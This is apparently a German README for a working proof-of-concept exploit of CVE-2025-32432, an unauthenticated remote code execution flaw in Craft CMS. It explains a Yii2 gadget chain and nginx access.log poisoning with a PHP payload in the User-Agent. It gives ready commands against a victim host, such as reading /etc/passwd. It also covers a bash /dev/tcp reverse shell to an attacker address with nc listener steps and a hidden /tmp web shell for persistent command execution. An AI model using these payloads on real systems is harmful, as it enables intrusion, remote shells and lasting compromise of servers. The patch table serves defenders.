
Funktionsfähiger PoC für CVE-2025-32432 - Craft CMS <= 5.6.16 - nicht authentifizierte RCE über das Yii2-PhpManager-Gadget + nginx-access.log-Vergiftung
Funktionierender Proof-of-Concept für CVE-2025-32432, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in Craft CMS in Versionen bis einschließlich 5.6.16 (betrifft ebenso die 4.x- und 3.x-Zweige bei entsprechenden Codepfaden).
Suchbegriffe: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
Der Standardmodus zielt auf frische Vanilla-Craft-CMS-Installationen. Ein --lab-Flag
ist für die carangueijada-20-Challenge des
hacklab-platform-Projekts enthalten,
welche Craft hinter einem eigenen Session-Cookie absichert.
Betroffene Komponente: craft\controllers\AssetsController::actionGenerateTransform.
Die Aktion ist als allowAnonymous registriert, daher ist keine Authentifizierung
erforderlich. Sie akzeptiert einen POST-Parameter handle, der anschließend in
einen Craft::createObject()-Aufruf gespreadet wird:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Wenn $handle ein vom Angreifer kontrolliertes assoziatives Array ist, injiziert
der Spread beliebige Schlüssel in die Konstruktor-Konfiguration. Insbesondere wird
ein Schlüssel, der mit as beginnt, von yii\base\Component::__set als
Behavior-Attachment interpretiert, was Yii::createObject($config) für den Wert
aufruft – vor jeder Typ-Prüfung:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Der Yii2-Fix in 2.0.50 fügte eine is_subclass_of($value['class'], Behavior::class)-Prüfung
für diesen Zweig hinzu; verwundbare Installationen (Yii2 <= 2.0.49, oder frühere
herausgepatchte Prüfung) überspringen die Absicherung vollständig.
yii\rbac\PhpManagerPhpManager ist eine Standard-Yii2-Klasse. Ihre init()-Methode ruft load() auf,
welches wiederum loadFromFile($this->itemFile) aufruft. loadFromFile ist wörtlich:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require parst jede Datei auf der Platte als PHP. Enthält die Datei einen
<?php ... ?>-Block, wird dieser Block im Worker ausgeführt. Indem itemFile
auf eine Datei zeigt, deren Inhalt der Angreifer kontrolliert, wird vollständige RCE erreicht.
access.logDer zuverlässige installationsübergreifende Sink ist die nginx-access.log im
Combined-Format. Sie zeichnet den User-Agent der Anfrage wörtlich auf, einschließlich
nicht druckbarer Zeichen und der meisten Satzzeichen. Indem der Angreifer eine Anfrage
sendet, deren User-Agent <?php system('id'); exit; ?> lautet, platziert er einen
PHP-Block an einem bekannten Pfad. Wird itemFile dann auf
/var/log/nginx/access.log gesetzt, requiret der Exploit das Log und führt jeden
<?php ... ?>-Block der Reihe nach aus.
Zwei Feinheiten sind wichtig:
" im
Combined-Format zu \x22, was das PHP-Parsing der Zeile bricht. Verwende
einfache Anführungszeichen oder chr()-Verkettung.exit; am Ende, damit require abbricht, bevor spätere Logzeilen geparst
werden, die andere fehlerhafte Payloads enthalten könnten.| Komponente | Verwundbar | Gepatcht |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 fügt eine ImageTransformerInterface-Prüfung für die
Transformer-Klasse hinzu. Yii2 2.0.50 fügt eine Behavior-Subklassen-Prüfung in
Component::__set hinzu. Jeder einzelne Fix schließt exakt diese Gadget-Kette.
requests-Bibliothek (pip install -r requirements.txt)assetId auf dem Ziel. Standard 2; überschreibbar mit
-a <id>, falls nötig (Asset-ID 1 ist normalerweise der Admin-Avatar).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (anderer Log-Pfad, FPM-Session, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
Das carangueijada-20-Lab aus dem
hacklab-platform sichert
die Craft-Installation hinter einem coopsess-Cookie, das von PATCH /login
ausgestellt wird. Das --lab-Flag übernimmt diesen Handshake automatisch.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Stelle sicher, dass www.carangueijada.coop auf die Lab-IP auflöst (falls nötig
in /etc/hosts eintragen).
Das --revshell-Flag feuert einen bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
Connect-Back, im Hintergrund, damit der Gadget-POST sofort zurückkehrt.
Zwei-Terminal-Ablauf (am zuverlässigsten):
# Terminal 1 – Listener auf deiner Maschine
nc -lvnp 4444
# Terminal 2 – Exploit auslösen
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Ein-Terminal-Ablauf mit eingebautem Listener:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen startet nc -lvnp <lport> im selben Terminal, bevor
der Payload gefeuert wird. Strg+C beendet, wenn du fertig bist.
Beispielsession (Lab):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# im Listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Shell stabilisieren (nach dem Connect, innerhalb der Reverse-Shell ausführen):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Strg+Z, um nc in den Hintergrund zu legen
stty raw -echo; fg
# Zweimal Enter drücken
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
Beim ersten Lauf vergiftet der Exploit access.log einmal, um einen
versteckten PHP-Wrapper unter /tmp/.cve32432_w.php abzulegen. Der Wrapper liest
den X-Cmd-HTTP-Header und führt system($_SERVER['HTTP_X_CMD']) aus. Jeder
weitere Dispatch zeigt itemFile auf die Wrapper-Datei und übergibt den Befehl
per Header. Kein weiteres Vergiften, keine weitere Log-Verschmutzung, keine
weiteren „Das erste <?php exit;-Block gewinnt“-Fehlschläge.